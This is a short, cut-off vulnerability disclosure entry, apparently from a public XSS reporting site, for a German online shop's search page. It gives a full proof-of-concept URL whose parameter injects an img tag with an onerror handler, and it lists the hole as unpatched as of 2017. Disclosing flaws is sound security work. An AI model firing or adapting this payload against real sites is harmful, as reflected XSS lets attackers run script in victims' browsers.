shop.pier7.de XSS vulnerability

Vulnerable URL: https://shop.pier7.de/ShopStuttgart/advancedsearchresult.php?XTCsid=pja0be3812bv481v9k9emc2va5=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E=9=13 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.08.2017 Vulnerability type:| XSS...